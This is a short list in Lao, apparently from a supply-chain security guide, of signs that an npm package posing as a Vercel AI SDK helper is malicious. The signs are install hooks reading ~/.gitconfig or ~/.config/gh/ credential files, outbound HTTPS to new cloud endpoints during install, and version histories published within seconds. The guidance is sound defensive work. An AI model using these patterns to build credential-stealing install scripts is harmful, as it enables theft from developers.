- ອ່ານ hook ຕິດຕັ້ງກ່ອນທີ່ຈະຮັບຮອງເອົາແພັກເກດຜູ້ຊ່ວຍລະບົບນິເວດ AI. ພື້ນທີ່ Vercel AI SDK ແມ່ນເປົ້າໝາຍທີ່ມີຄວາມໄວ້ວາງໃຈສູງ ແລະ ມີການເຄື່ອນໄຫວໄວ; ຕິດຕັ້ງຫຼັງ ທີ່ສຳຜັດ ~ / .gitconfig or ~/.config/gh/ ເປັນສັນຍານທີ່ຊັດເຈນບໍ່ວ່າຄຳເຫັນອ້ອມຂ້າງຈະຖືກຂຽນແນວໃດ.
- ຕິດຕາມການອອກຂອງເວລາສ້າງ. ຂໍ້ຄວາມ HTTPS ຂາອອກໃນລະຫວ່າງ npm ຕິດຕັ້ງ, ໂດຍສະເພາະກັບຈຸດສິ້ນສຸດໜ້າທີ່ຄລາວທີ່ຫາກໍ່ຈັດຫາມາໃໝ່, ສາມາດສັງເກດເຫັນໄດ້ຢູ່ຊັ້ນເຄືອຂ່າຍ ແລະ ເປັນຈຸດກວດຈັບທີ່ເຂັ້ມແຂງສຳລັບສະພາບແວດລ້ອມ CI.
- ລະວັງ ladders ລຸ້ນທີ່ຖືກບີບອັດ. ແພັກເກດທີ່ມີປະຫວັດ semantic-version ທັງໝົດປາກົດພາຍໃນວິນາທີ, ພ້ອມກັບ script ຕິດຕັ້ງທີ່ບໍ່ປ່ຽນແປງ, ກຳລັງສະແດງປະຫວັດການບຳລຸງຮັກສາທີ່ຜະລິດຂຶ້ນ.





